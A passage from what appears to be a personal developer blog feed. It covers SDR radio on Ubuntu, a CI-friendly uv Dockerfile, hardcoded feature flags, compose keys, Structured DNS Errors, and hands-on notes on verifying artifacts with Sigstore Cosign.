<img src="https://code.mendhak.com/assets/images/listening-to-radio-on-ubuntu/image-4.png" alt="SDRangel listing ADS-B signal received by the antenna" title="" loading="lazy" /></span>
<figcaption>ADS-B with SDRAngel</figcaption>
</figure><p></p>
<h2 id="hamfax" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/listening-to-radio-on-ubuntu/#hamfax">Hamfax</a></h2>
<p>Considering how limited this dongle’s range was, I figured out quickly that I wouldn’t be able to receive weather fax signals. A <a href="https://www.gqrx.dk/doc/practical-tricks-and-tips#apps">tutorial page</a> shows that the frequencies for weather faxes from Northwood UK were 2618.5 kHz and 11086.5 kHz, which was out of the dongle’s range.</p>
<p>But still, the instructions looked pretty fascinating - it involved recording the signal, waiting for 11 minutes, then using hamfax to visualize it.</p>
<p>I’m glad I stopped there, any attempt on my part would have been hamfisted.</p>
<h2 id="final-thoughts" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/listening-to-radio-on-ubuntu/#final-thoughts">Final thoughts</a></h2>
<p>This was an interesting exercise, despite the blockers, because it was completely outside my normal ‘domain’. I was able to listen to radio, track aircraft, and theoretically decode signals from smart devices. I wasn’t able to listen to DAB radio, or receive weather fax signals, but I could probably try that another time. Or I could set up something with a Raspberry Pi and take it with me on holidays.</p>
<p>If I want to go further, properly, I think I’ll have to do a few things: buy a better receiver (that supports DAB) and actually learn more about radio, potentially even interacting with it <a href="https://pysdr.org/">using Python</a>.</p>
A CI/CD friendly Dockerfile for `uv` based Python projects2025-03-14T00:00:00Zhttps://code.mendhak.com/ci-cd-dockerfile-for-python-uv-ruff-pytest/<p>I have been looking at using <code>uv</code> for a Python project, and I’m quite satisfied with the productivity and performance it brings to the table for a local development environment.</p>
<p>Currently, I find its documentation and examples could do with improvement in terms of CI/CD and Docker deployments; most examples and blog posts seem to focus on the final mile of <em>running</em> the application in a container, but I am not able to find much that covers the end to end of building, testing, and running the application.</p>
<p>I have created a Dockerfile that would be suitable for running the application in a CI/CD pipeline, and also for running the tests. This Dockerfile assumes a Python project that makes use of <code>uv</code> for dependency management and running of tools.</p>
<pre class="language-dockerfile"><code class="language-dockerfile"><span class="token comment"># This is the test runner image. It is used to run tests and linters. </span>
<span class="token instruction"><span class="token keyword">FROM</span> ghcr.io/astral-sh/uv:python3.13-bookworm-slim <span class="token keyword">AS</span> testrunner</span>
<span class="token instruction"><span class="token keyword">ENV</span> UV_COMPILE_BYTECODE=1 UV_LINK_MODE=copy</span>
<span class="token comment"># Tell UV to use the Docker provided Python, don't download. </span>
<span class="token instruction"><span class="token keyword">ENV</span> UV_PYTHON_DOWNLOADS=0</span>
<span class="token instruction"><span class="token keyword">WORKDIR</span> /app</span>
<span class="token instruction"><span class="token keyword">ADD</span> . /app</span>
<span class="token comment"># Install all dependencies, regular and dev</span>
<span class="token instruction"><span class="token keyword">RUN</span> uv sync --frozen </span>
<span class="token instruction"><span class="token keyword">RUN</span> uv run pytest</span>
<span class="token instruction"><span class="token keyword">RUN</span> uv run ruff check</span>
<span class="token comment"># RUN uv run any_other_tools_you_have</span>
<span class="token comment"># This builder image will only install the main dependencies, not the dev dependencies. </span>
<span class="token instruction"><span class="token keyword">FROM</span> ghcr.io/astral-sh/uv:python3.13-bookworm-slim <span class="token keyword">AS</span> builder</span>
<span class="token instruction"><span class="token keyword">ENV</span> UV_COMPILE_BYTECODE=1 UV_LINK_MODE=copy</span>
<span class="token comment"># Tell UV to use the Docker provided Python, don't download. </span>
<span class="token instruction"><span class="token keyword">ENV</span> UV_PYTHON_DOWNLOADS=0</span>
<span class="token instruction"><span class="token keyword">WORKDIR</span> /app</span>
<span class="token instruction"><span class="token keyword">ADD</span> . /app</span>
<span class="token comment"># This time, don't install dev dependencies</span>
<span class="token instruction"><span class="token keyword">RUN</span> uv sync --frozen --no-group dev </span>
<span class="token instruction"><span class="token keyword">RUN</span> uv pip list </span>
<span class="token comment"># This is the runtime image. It will only contain the dependencies needed to run the application.</span>
<span class="token instruction"><span class="token keyword">FROM</span> python:3.13-slim <span class="token keyword">AS</span> runtime</span>
<span class="token instruction"><span class="token keyword">COPY</span> <span class="token options"><span class="token property">--from</span><span class="token punctuation">=</span><span class="token string">builder</span> <span class="token property">--exclude</span><span class="token punctuation">=</span><span class="token string">tests</span> <span class="token property">--chown</span><span class="token punctuation">=</span><span class="token string">app:app</span></span> /app /app</span>
<span class="token instruction"><span class="token keyword">ENV</span> PATH=<span class="token string">"/app/.venv/bin:$PATH"</span></span>
<span class="token instruction"><span class="token keyword">WORKDIR</span> /app</span>
<span class="token instruction"><span class="token keyword">CMD</span> [ <span class="token string">"python3"</span>, <span class="token string">"src/my_application.py"</span> ] </span></code></pre>
<h2 id="explanation" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/ci-cd-dockerfile-for-python-uv-ruff-pytest/#explanation">Explanation</a></h2>
<p>The Dockerfile is split into three stages, for good reasons.</p>
<p>The <strong>first</strong> stage is to aimed at continuous integration; it installs all the dependencies including dev dependencies, and runs the tests and linters. It’s based on the officially provided <code>uv</code> images.</p>
<p>The second and third stages are aimed at the deployment phase.</p>
<p>The <strong>second</strong> stage installs just the main, not dev, dependencies, hence the <code>--no-group dev</code> flag. It may appear a bit repetitive, but we should be aiming to keep our security footprint as small as possible, and only install what’s needed. At the same time, it’s not a simple matter of just copying the entire .venv directory from one stage to another.</p>
<p>The <strong>third</strong> stage is the actual runtime image, where the application will be run. It’s based on the official Python image, as we should ideally make sure our application can run in a standard Python environment and not depend on any configuration magic that <code>uv</code> or future tools may provide. For the same security reasons as the second stage, the <code>--exclude</code> flag is used during <code>COPY</code> so we’re just deploying application files.</p>
<h2 id="references" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/ci-cd-dockerfile-for-python-uv-ruff-pytest/#references">References</a></h2>
<p>I have pieced this together from various sources including the <a href="https://github.com/astral-sh/uv-docker-example">official examples</a>, and <a href="https://www.saaspegasus.com/guides/uv-deep-dive/">various</a> <a href="https://hynek.me/articles/docker-uv/">blogposts</a>.</p>
<p>My aim is for readability and maintainability, so there are some optimizations I have eschewed in favour of clarity.</p>
It's OK to hardcode feature flags2025-01-30T00:00:00Zhttps://code.mendhak.com/hardcode-feature-flags/<p>Feature flags (or toggles) are often used to control the visibility of new features in a product. There are a few different ways to implement them, but the most talked and marketed about is to use feature flag management software. The simplest way of course is to hardcode them, though it’s the least written about.</p>
<p>While feature flag management software <em>can</em> be powerful, they are also a source of complexity and risk. The blogspam marketing behind them is so strong, that admitting they’re unnecessary feels like confessing to technological impotence. We’ve convinced ourselves that we don’t just need a few feature flags, we need to scale to thousands of feature flags. And not just that, but we will absolutely need to change a feature at runtime, and we absolutely must do it without a deployment, and without a restart, and without a cache flush, and without a database migration, and without a review, and without a test because the business is on fire and the only way to put it out is to change the color of the button on the homepage.</p>
<p>The only flags that the capabilities of such a system should bring up are of the #ff0000 variety. From an architectural perspective, they are little more than glorified <code>if</code> statements, managed in a separate process. Often requiring their own infrastructure, hosting, monitoring, and all the responsibilities that come with.</p>
<p>From a development lifecycle perspective, they introduce non-deterministic behaviour, and make it harder to reason about the code. Long lived feature flags, though initially well intentioned, lead to technical debt that ossifies the codebase; this risk does exist with hardcoded flags, but it’s much easier to see and manage.</p>
<p>From a security perspective, they are a liability, as the surface area for attack or vulnerability has now increased.</p>
<p>In any case, adding more moving parts to any software system should always be given scrutiny to see if it’s actually necessary and whether the risks it introduces are worth the problems being solved.</p>
<p>Hardcoded feature flags do away with many of these issues; they are simple, reliable, and safe. They are the most boring way to do it, and that’s why they’re the best way to do it.</p>
<p>Simply start with a simple JSON file, read it in at application startup, and use it to control the visibility of features. Keep on top of the flags, remove them when they’re no longer needed. If they live too long, make them the actual behaviour and remove the flag. Change a value through the normal development process, get it reviewed, tested, and deployed.</p>
<p>For most teams and products, this will often be good enough and will have a lot of mileage. When a team actually gets to the point of needing to change a feature at runtime at scale, then much like state management in SPAs, they’ll know they need it.</p>
<p>Premature optimization is not the way to go. It’s bad design, bad engineering, and only serves well for brief moments of self-congratulatory smugness at tech conferences when the sales-speaker asks if anyone is using them.</p>
Compose keys are the nicest way of typing special characters2024-12-08T00:00:00Zhttps://code.mendhak.com/compose-keys-user-friendly/<p>Compose keys are a Linux feature that allows you to type special characters. They’re very useful for typing accents, umlauts, diacritics, and other special characters. All operating systems have a way of typing such characters, but they are, to put it mildly, a convoluted mess.</p>
<p>Compose keys work in a very intuitive way, as the name implies, by composing two or more keys together. As an example, to type the copyright symbol, I would type:</p>
<p><kbd>Compose</kbd><kbd>(</kbd><kbd>c</kbd><kbd>)</kbd> which gives <code>ⓒ</code></p>
<p>The (, c, ) sequence is a very natural combination for the copyright symbol.</p>
<p>Umlauts and diacritics are similarly very simple.</p>
<p><kbd>Compose</kbd><kbd>u</kbd><kbd>"</kbd> gives <strong>ü</strong></p>
<p><kbd>Compose</kbd><kbd>O</kbd><kbd>/</kbd> gives <strong>Ø</strong></p>
<p><kbd>Compose</kbd><kbd>T</kbd><kbd>M</kbd> gives <strong>™</strong></p>
<p><kbd>Compose</kbd><kbd>5</kbd><kbd>6</kbd> gives <strong>⅚</strong></p>
<p>The all important em dash:</p>
<p><kbd>Compose</kbd><kbd>-</kbd><kbd>-</kbd><kbd>-</kbd> gives <strong>—</strong></p>
<p>Building target characters starts to become very discoverable. There’s no need to remember specific numeric codes, or to have a numpad on a keyboard which Windows/Macos require. In fairness to Windows 11 though, the <code>Win+.</code> shortcut is quite useful, though it could do with a search across all character types.</p>
<h2 id="but-where-is-the-compose-key" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/compose-keys-user-friendly/#but-where-is-the-compose-key">But where is the <kbd>Compose</kbd> key>?</a></h2>
<p>There isn’t a dedicated key on a physical keyboard, instead you have to assign a key as the compose key. Often the default is the <code>Right Alt </code>or <code>Shift + Alt Gr</code>.</p>
<p>You would normally <a href="https://help.ubuntu.com/community/ComposeKey">assign this through settings</a>, to a key that you don’t usually use, or something out of the way. I strongly recommend the Caps Lock key, the <a href="https://code.mendhak.com/posts/2022-03-24-make-caps-lock-useful.md">most useless key on the keyboard</a> as shown here.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/compose-keys-user-friendly/001.png"><img src="https://code.mendhak.com/assets/images/compose-keys-user-friendly/001.png" alt="Ubuntu settings screen allowing selection of compose key" title="" loading="lazy" data-caption="Ubuntu settings" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/compose-keys-user-friendly/002.png"><img src="https://code.mendhak.com/assets/images/compose-keys-user-friendly/002.png" alt="Linux Mint settings screen allowing selection of compose key" title="" loading="lazy" data-caption="Linux Mint settings" style="width: calc(50% - 0.5em);" /></span>
<figcaption>Use caps lock as the compose key</figcaption></figure>
<p>So in the examples above, I normally press Caps Lock, followed by the sequence.</p>
<h3 id="list-of-compose-sequences" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/compose-keys-user-friendly/#list-of-compose-sequences">List of Compose sequences</a></h3>
<p>There are a few places I’ve been able to find a list of sequences, the <a href="https://help.ubuntu.com/community/GtkComposeTable">Ubuntu documentation</a> and the <a href="https://math.dartmouth.edu/~sarunas/Linux_Compose_Key_Sequences.html">Dartmouth University site</a>.</p>
<h2 id="unicode-code-points" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/compose-keys-user-friendly/#unicode-code-points">Unicode code points</a></h2>
<p><em>Somewhat</em> related to Compose keys, another user friendly shortcut is <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>U</kbd> - a way of typing out Unicode characters from their numeric code points. The code point for <a href="https://www.compart.com/en/unicode/U+2728">sparkles is U+2728</a>. Type it out using <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>U</kbd>, then 2728 ✨.</p>
New DNS standard could soon lead to useful error messages in browsers2024-11-12T00:00:00Zhttps://code.mendhak.com/structured-dns-errors-with-helpful-error-messages/<p>Domains get blocked for a variety of reasons including security, family controls, content filtering, politics, and legal requirements. But when browsers encounter these blocks, they will usually display a somewhat generic and unhelpful error message. As end users it often isn’t clear to us why the domain was blocked, and unsurprisingly, encountering a blocked domain can be indistinguishable from an actual connectivity outage.</p>
<p>Some DNS servers try and be ‘helpful’ by responding to the domain query with a different address than the actual, and displaying an informational page — this is effectively spoofing, and is pretty dangerous as they will use untrusted certificates for those informational pages.</p>
<h2 id="structured-dns-errors" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/structured-dns-errors-with-helpful-error-messages/#structured-dns-errors">Structured DNS Errors</a></h2>
<p>A <a href="https://datatracker.ietf.org/doc/draft-ietf-dnsop-structured-dns-error/">new standard</a> is being developed to address this, called <strong>Structured DNS Errors</strong>. When implemented, it will use <em>another</em> feature called <a href="https://blog.apnic.net/2023/09/28/extended-dns-errors-unlocking-the-full-potential-of-dns-troubleshooting/">Extended DNS Errors</a>.</p>
<p>The Extended DNS Errors feature specifies certain codes to indicate the error, such as 15 for Blocked, 16 for Censorship, 17 for Filtered, 18 for Prohibited.</p>
<p>Here’s an example of a DNS EDE from Cloudflare.</p>
<pre><code>$ dig @1.1.1.1 dnssec-failed.org
; <<>> DiG 9.18.28-0ubuntu0.24.04.1-Ubuntu <<>> @1.1.1.1 dnssec-failed.org
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 51089
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; EDE: 9 (DNSKEY Missing): (no SEP matching the DS found for dnssec-failed.org.)
;; QUESTION SECTION:
;dnssec-failed.org. IN A
...
</code></pre>
<p>Notice the <code>EDE: 9 (DNSKEY Missing):</code> line, the <a href="https://developers.cloudflare.com/1.1.1.1/infrastructure/extended-dns-error-codes/">error code</a> indicates that it did not pass DNSSEC validation.</p>
<p>The new standard, Structured DNS Errors, proposes adding additional information about the block. As the name indicates, it will be structured using JSON, so that the software reading this information can parse it and present it to the human consumers. The software will usually be browsers, at least that is the main target, but could be any application to which the extra information is surfaced.</p>
<p>We can see this in action using AdGuard DNS who have recently <a href="https://adguard-dns.io/en/blog/adguard-dns-v2-10.html">implemented SDE</a>.</p>
<pre><code>$ dig @dns.adguard-dns.com +ednsopt=15:0000 doubleclick.net
; (4 servers found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 62347
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; EDE: 17 (Filtered): ({"j":"Filtered by AdGuard DNS","o":"AdGuard DNS","c":["mailto:support@adguard-dns.io"]})
;; QUESTION SECTION:
;doubleclick.net. IN A
;; ANSWER SECTION:
doubleclick.net. 3600 IN A 0.0.0.0
...
</code></pre>
<p>See the <code>EDE: 17 (Filtered)</code> line, followed by the JSON. The field names have been kept short to save on bandwidth. They are:</p>
<ul>
<li><code>j</code> - Justification for the block</li>
<li><code>s</code> - Sub error, probably a troubleshooting code</li>
<li><code>o</code> - The organization that filtered this query</li>
<li><code>c</code> - A list of contact details, like email or telephone</li>
</ul>
<p>A browser receiving this information could now, quite simply, present the information using a built-in page. This takes away a lot of the risk that the workarounds mentioned earlier would involve. There’s no forged DNS responses, no spoofed domains, and no need for untrusted certificates.</p>
<p>AdGuardDNS have also released a <a href="https://github.com/AdguardTeam/dns-sde-extension/">browser extension</a> that emulates what the blocking behaviour could look like, which I was able to try out. By try out, I mean I modified it to place the extracted information over a meme.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/structured-dns-errors/001.png">
<img src="https://code.mendhak.com/assets/images/structured-dns-errors/001.png" alt="Modified extension with a 'held back' meme, displaying the blocked domain and filter message" title="" loading="lazy" /></span>
<figcaption>Adguard’s SDE emulation extension modified. Think of the memes.</figcaption>
</figure><p></p>
<p>Here I visited <code>ad.doubleclick.net</code> which was blocked, and the extension then queried <a href="https://dns.adguard.ch/resolve?name=doubleclick.net&sde=1">a separate endpoint</a> to get the additional information. It’s worth noting that the emulation behaviour is required for now, since browsers don’t yet even look for this information. Once they do I’d imagine no extension would be required at all.</p>
<h2 id="thoughts" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/structured-dns-errors-with-helpful-error-messages/#thoughts">Thoughts</a></h2>
<p>The <code>c</code> field seems to only allow email, telephone, or SIP; I think it could benefit from also allowing an HTTPS URL pointing at an informational page, but the people authoring the draft <a href="https://github.com/ietf-wg-dnsop/draft-ietf-dnsop-structured-dns-error/pull/51">had their concerns</a> which makes sense, as it’s an attack vector, but makes it not that great for the end users.</p>
<table>
<thead>
<tr>
<th>Name</th>
<th>Meaning</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>sips</td>
<td>SIP Call</td>
<td>[RFC5630]</td>
</tr>
<tr>
<td>tel</td>
<td>Telephone Number</td>
<td>[RFC3966]</td>
</tr>
<tr>
<td>mailto</td>
<td>Internet mail</td>
<td>[RFC6068]</td>
</tr>
</tbody>
</table>
<p>It would be nice if tools such as <a href="https://pi-hole.net/">Pi-Hole</a> could also take advantage of the feature by passing it on to the browser when it encounters it from an upstream provider. That said, when I queried my Pi-Hole for a blocked domain, it doesn’t seem to return the EDE field at all. Maybe this isn’t such a simple task.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/structured-dns-errors/003.png">
<img src="https://code.mendhak.com/assets/images/structured-dns-errors/003.png" alt="Pihole output for doubleclick.net but without EDE field" title="" loading="lazy" /></span>
<figcaption>Pi-Hole</figcaption>
</figure><p></p>
Modern artifact signing with Cosign, what works and what hurts2024-11-08T00:00:00Zhttps://code.mendhak.com/understanding-sigstore-cosign-as-a-beginner/<p>I’ve been seeing some buzz around Sigstore recently, it’s a project that aims to improve software supply chain security by making signing and checking easier. It has seen ongoing work in the <a href="https://blog.sigstore.dev/announcing-the-1-0-release-of-sigstore-python-4f5d718b468d/">Python</a> and <a href="https://central.sonatype.org/news/20220302_firstlook/">Maven</a> ecosystems, as well as <a href="https://docs.npmjs.com/generating-provenance-statements">npm</a> and <a href="https://docs.github.com/en/actions/security-for-github-actions/using-artifact-attestations/using-artifact-attestations-to-establish-provenance-for-builds">Github Actions</a>, which is pretty significant.</p>
<p>Sigstore is a project that aims to improve supply chain security, and one of its prominent projects is Cosign used for signing and verification.</p>
<p>It removes much of the risk and maintenance around signing and verification. Although PGP exists, and has been used in this space for a long time, many developers find it difficult to work with. Sigstore’s tools are an attractive alternative because they make it possible to work without keys and automates away as much as possible. I thought it would be worth getting a closer look at signing artifacts using Cosign, with my newcomer’s lens on.</p>
<h2 id="newbie-s-view-of-how-it-works" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/understanding-sigstore-cosign-as-a-beginner/#newbie-s-view-of-how-it-works">Newbie’s view of how it works</a></h2>
<p>Sigstore’s main selling point is its “keyless” signing capability — more precisely, its ability to work with temporary key pairs that users don’t need to manage.</p>
<p>A typical signing workflow would look something like this:</p>
<ul>
<li>developer initiates signing (using Cosign)</li>
<li>browser opens for authentication</li>
<li>developer logs in with their OpenID Connect (OIDC) provider (GitHub, Google, Microsoft)</li>
<li>once verified, Sigstore’s certificate authority (Fulcio) issues a short-lived certificate</li>
<li>Cosign signs the artifact</li>
<li>signature and the certificate are recorded in Sigstore’s tamper proof log (Rekor)</li>
</ul>
<p>On the other side, an end user can verify the signed artifact against the transparency logs.</p>
<h2 id="signing-and-verifying-with-cosign" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/understanding-sigstore-cosign-as-a-beginner/#signing-and-verifying-with-cosign">Signing and verifying with <code>cosign</code></a></h2>
<p>The main tool in this song and dance is <code>cosign</code> which I spent most of my time interacting with. <a href="https://docs.sigstore.dev/cosign/system_config/installation/#with-the-cosign-binary-or-rpmdpkg-package">Installing it</a> was straightforward, but I was surprised to see no official package for Ubuntu. Considering that most CI tooling and pipelines run on Ubuntu, I would have expected there be an official repository to keep the tools up to date. After all, one of the core mitigations of supply chain risks is to keep everything up to date. I did raise a Github issue and hopefully there’s a favourable outcome from it.</p>
<p>Signing a text file was easy, using the sign-blob subcommand.</p>
<pre class="language-bash"><code class="language-bash">cosign sign-blob test.txt <span class="token parameter variable">--bundle</span> test.txt.cosign.bundle</code></pre>
<p>This opened up a browser to initiate the OAuth workflow, where I logged in with my Github account.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/understanding-sigstore-cosign/001.png">
<img src="https://code.mendhak.com/assets/images/understanding-sigstore-cosign/001.png" alt="Options to sign in to Sigstore with Github, Google, Microsoft" title="" loading="lazy" /></span>
<figcaption>Sigstore sign in</figcaption>
</figure><p></p>
<p>Once signed in, the process continued in the terminal, where it requested the short lived certificate, signed the artifact, recorded the transaction, and output the bundle file.</p>
<p>This bundle file is important for the verification process. To verify, an end user would use the verify-blob subcommand with the bundle file. A slight pain point is they would also need to know the email address and the OIDC issuer that was used. For Github this was:</p>
<pre class="language-bash"><code class="language-bash">$ cosign verify-blob test.txt <span class="token parameter variable">--bundle</span> test.txt.cosign.bundle --certificate-identity<span class="token operator">=</span>username@example.com --certificate-oidc-issuer<span class="token operator">=</span>https://github.com/login/oauth
Verified OK</code></pre>
<h3 id="but-where-s-the-log" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/understanding-sigstore-cosign-as-a-beginner/#but-where-s-the-log">But where’s the log?</a></h3>
<p>It isn’t obvious where the transparency ledger is or where the record of the transaction goes. It took a lot of digging to find what was a simple answer. When sign-blob finishes its work, it outputs a <code>logIndex</code> number. That value can be plugged into a URL like so:</p>
<pre><code>https://search.sigstore.dev/?logIndex=140392200
</code></pre>
<h3 id="my-first-in-the-wild-verification-didn-t-work" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/understanding-sigstore-cosign-as-a-beginner/#my-first-in-the-wild-verification-didn-t-work">My first in-the-wild verification didn’t work</a></h3>
<p>I had noticed that Python releases now came with Sigstore bundle links, so I thought to try and verify them. Sadly, in the <a href="https://www.python.org/downloads/release/python-3140a1/">Python 3.14 release</a>, although there were Sigstore bundles provided, I wasn’t able to verify them with Cosign.</p>
<p>I downloaded the main file and the Sigstore bundle, and looked at <a href="https://www.python.org/downloads/metadata/sigstore/">their Sigstore documentation</a> to construct the command. Although their examples use a python pip module for Sigstore, I wanted to use the same Cosign tool that I’d supposedly be using everywhere else. I thought it was a reasonable expectation to be able to substitute one for the other.</p>
<p>But I got an error:</p>
<pre class="language-bash"><code class="language-bash">$ <span class="token function">wget</span> https://www.python.org/ftp/python/3.14.0/Python-3.14.0a1.tgz
$ <span class="token function">wget</span> https://www.python.org/ftp/python/3.14.0/Python-3.14.0a1.tgz.sigstore
$ cosign verify-blob Python-3.14.0a1.tgz <span class="token parameter variable">--bundle</span> Python-3.14.0a1.tgz.sigstore --cert-identity hugo@python.org --cert-oidc-issuer https://accounts.google.com
<span class="token punctuation">..</span>. bundle does not contain cert <span class="token keyword">for</span> verification, please provide public key</code></pre>
<p>Inspecting the bundle and following the <a href="https://search.sigstore.dev/?logIndex=140392186">log index URL</a>, I noticed that the OIDC issuer is actually Github, not Google as the Python documentation specified.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/understanding-sigstore-cosign/002.png">
<img src="https://code.mendhak.com/assets/images/understanding-sigstore-cosign/002.png" alt="Python documentation mentioning Google as the issuer, but the verification shows Github" title="" loading="lazy" /></span>
<figcaption>Python docs vs Rekor log</figcaption>
</figure><p></p>
<p>I raised an issue and they helpfully fixed the issue. Anyway, substituting for Github still did not work though.</p>
<pre class="language-bash"><code class="language-bash">$ cosign verify-blob Python-3.14.0a1.tgz <span class="token parameter variable">--bundle</span> Python-3.14.0a1.tgz.sigstore --cert-identity hugo@python.org --cert-oidc-issuer https://github.com/login/oauth
<span class="token punctuation">..</span>. bundle does not contain cert <span class="token keyword">for</span> verification, please provide public key</code></pre>
<p>Finally, I gave in, using the python Sigstore module worked. But why?</p>
<pre class="language-bash"><code class="language-bash">$ python3 <span class="token parameter variable">-m</span> sigstore verify identity <span class="token parameter variable">--bundle</span> Python-3.14.0a1.tgz.sigstore --cert-identity hugo@python.org --cert-oidc-issuer https://github.com/login/oauth Python-3.14.0a1.tgz
OK: Python-3.14.0a1.tgz</code></pre>
<p>I could not figure out what was different about this, or how I would have provided the public key that the error message asked for, but having to use yet <em>another</em> tool to do the verification was not ideal.</p>
<p>I finally got a helpful answer from the Sigstore discussion forum, I was missing a <code>--new-bundle-format</code> flag. That is, this worked:</p>
<pre class="language-bash"><code class="language-bash">$ cosign verify-blob Python-3.14.0a1.tgz <span class="token parameter variable">--bundle</span> Python-3.14.0a1.tgz.sigstore --cert-identity hugo@python.org --cert-oidc-issuer https://github.com/login/oauth --new-bundle-format
Verified OK</code></pre>
<h3 id="verifying-github-and-npm-attestations-without-their-own-clis" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/understanding-sigstore-cosign-as-a-beginner/#verifying-github-and-npm-attestations-without-their-own-clis">Verifying Github and npm attestations without their own CLIs</a></h3>
<p>I also learned that <a href="https://blog.sigstore.dev/cosign-verify-bundles/">both Github Actions as well as npm</a> have integrated Cosign workflows, which they call attestations. That is, it should now be possible to verify npm tarballs as well as Github Artifacts, if the author has chosen to make use of attestation workflows.</p>
<p>It did take a bit of trial and error to figure out where to get the bundle from, which even the blog author attests (ha) to.</p>
<p>npm has documented instructions on <a href="https://docs.npmjs.com/generating-provenance-statements">how to push attestations up</a>, but the actual verification is hidden away behind an <code>npm audit signatures</code> command. They also embed their Cosign bundle inside a wrapper JSON. The equivalent Cosign way would be:</p>
<pre class="language-bash"><code class="language-bash">$ <span class="token function">curl</span> https://registry.npmjs.org/semver/-/semver-7.6.3.tgz <span class="token operator">></span> semver-7.6.3.tgz
$ <span class="token function">curl</span> https://registry.npmjs.org/-/npm/v1/attestations/semver@7.6.3 <span class="token operator">|</span> jq <span class="token string">'.attestations[]|select(.predicateType=="https://slsa.dev/provenance/v1").bundle'</span> <span class="token operator">></span> npm-provenance.sigstore.json
$ cosign verify-blob <span class="token parameter variable">--bundle</span> npm-provenance.sigstore.json --new-bundle-format --certificate-oidc-issuer<span class="token operator">=</span><span class="token string">"https://token.actions.githubusercontent.com"</span> --certificate-identity<span class="token operator">=</span><span class="token string">"https://github.com/npm/node-semver/.github/workflows/release-integration.yml@refs/heads/main"</span> semver-7.6.3.tgz
Verified OK</code></pre>
<p>Github hides theirs behind a <code>gh attestation verify</code> command in their own CLI, which I am not interested in, I’d like to see the actual pieces involved. For Github Actions, if the author makes use of the <a href="https://github.com/actions/attest-build-provenance">attest build provenance action</a>, the attestation is made visible at a special dedicated URL that contains attestation information, I thought that was quite neat.</p>
<p><a href="https://github.com/cli/cli/attestations/2733309">This example</a> is from the gh CLI itself, though there is no ‘direct’ link between the artifact and the attestation page; there is a link from the Github Action build where the artifact was created, but those artifact links are often expired.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/understanding-sigstore-cosign/006.png"><img src="https://code.mendhak.com/assets/images/understanding-sigstore-cosign/006.png" alt="List of GH cli releases" title="" loading="lazy" data-caption="The artifact in releases" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/understanding-sigstore-cosign/005.png"><img src="https://code.mendhak.com/assets/images/understanding-sigstore-cosign/005.png" alt="Attestation page for a GH cli release" title="" loading="lazy" data-caption="The attestation details" style="width: calc(50% - 0.5em);" /></span><br />
<figcaption>Artifact and attestation</figcaption></figure>
<p>It took a bit of figuring out but the verification was slightly easier than npm. I had to download the JSON from the attestation page, and also use the new bundle format flag. The certificate identity was the Build Signer URI, and the issuer was the Issuer field.</p>
<pre class="language-bash"><code class="language-bash">$ <span class="token function">curl</span> https://github.com/cli/cli/attestations/2733309/download <span class="token operator">></span> gh_2.60.1_linux_386.deb.cosign.bundle
$ <span class="token function">curl</span> <span class="token parameter variable">-L</span> https://github.com/cli/cli/releases/download/v2.60.1/gh_2.60.1_linux_386.deb <span class="token operator">></span> gh_2.60.1_linux_386.deb
$ cosign verify-blob gh_2.60.1_linux_386.deb <span class="token parameter variable">--bundle</span> cli-cli-attestation-2733309.sigstore.json --cert-identity https://github.com/cli/cli/.github/workflows/deployment.yml@refs/heads/trunk --cert-oidc-issuer https://token.actions.githubusercontent.com --new-bundle-format
Verified OK</code></pre>
<h3 id="if-verifying-is-hard-nobody-will-verify" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/understanding-sigstore-cosign-as-a-beginner/#if-verifying-is-hard-nobody-will-verify">If verifying is hard, nobody will verify</a></h3>
<p>A recurring speed bump in all my verification attempts was to keep trying to figure out how to supply the additional parameters to verify. The need for specifying a certificate identity and certificate OIDC issuer was introduced specifically <a href="https://github.com/sigstore/cosign/issues/2056">to mitigate a security risk</a>, which makes sense.</p>
<p>But, if figuring out the required values for identity and issuer is made difficult, people will <a href="https://stackoverflow.com/questions/78073656/how-do-i-verify-container-image-signatures-using-sigstore-cosign-v2">resort to workarounds</a>. There exist regex versions of the identity and issuer flags in the verify subcommand, which can be used like so:</p>
<pre class="language-bash"><code class="language-bash">cosign verify-blob test.txt <span class="token parameter variable">--bundle</span> test.txt .cosign.bundle --certificate-identity-regexp <span class="token string">'.*'</span> --certificate-oidc-issuer-regexp<span class="token operator">=</span><span class="token string">'.*'</span></code></pre>
<p>This reminds me of StackOverflow answers regarding certificate validation errors, where the top voted answer is often how to <em>disable</em> validation, with a wink-wink disclaimer saying not to use it in production.</p>
